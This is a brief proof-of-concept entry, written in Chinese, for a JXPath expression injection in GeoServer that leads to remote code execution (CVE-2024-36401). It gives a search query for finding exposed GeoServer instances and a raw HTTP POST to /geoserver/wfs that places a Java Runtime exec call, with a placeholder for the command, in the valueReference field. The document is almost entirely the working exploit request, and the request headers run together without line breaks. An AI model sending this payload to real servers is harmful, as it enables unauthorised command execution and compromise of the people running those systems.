Geoserver JXPath表达式注入致远程代码执行漏洞(CVE-2024-36401)

app="GeoServer"

POST /geoserver/wfs HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8Content-Type: application/xmlConnection: close<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>  <wfs:Query typeNames='topp:states'/>  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'执行的命令')</wfs:valueReference></wfs:GetPropertyValue>